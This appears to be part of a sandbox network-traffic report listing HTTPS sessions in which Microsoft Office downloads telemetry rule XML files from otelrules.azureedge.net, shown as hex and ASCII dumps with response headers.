2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:13 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:13 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215213Z-174f7845968vqt9xhC1EWRgten0000000w500000000027k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:14 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:13 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:13 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215213Z-174f7845968pf68xhC1EWRr4h80000000w8g00000000d5m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:13 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:13 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215213Z-174f7845968vqt9xhC1EWRgten0000000w2g00000000a492 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:14 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:13 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:13 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215213Z-174f7845968n2hr8hC1EWR9cag0000000vk000000000rt0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:14 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:13 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:13 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215213Z-174f7845968j6t2phC1EWRcfe80000000w1g00000000v6fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:14 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215216Z-174f7845968v75bwhC1EWRuqen0000000gx000000000mbzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215216Z-174f78459684bddphC1EWRbht40000000vr000000000gme1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215216Z-174f78459685m244hC1EWRgp2c0000000vvg00000000bgu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215216Z-174f7845968nxc96hC1EWRspw80000000vng00000000srp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215216Z-174f7845968cdxdrhC1EWRg0en0000000vwg00000000r6hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:18 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215218Z-174f7845968vqt9xhC1EWRgten0000000w0g00000000hmc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:18 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
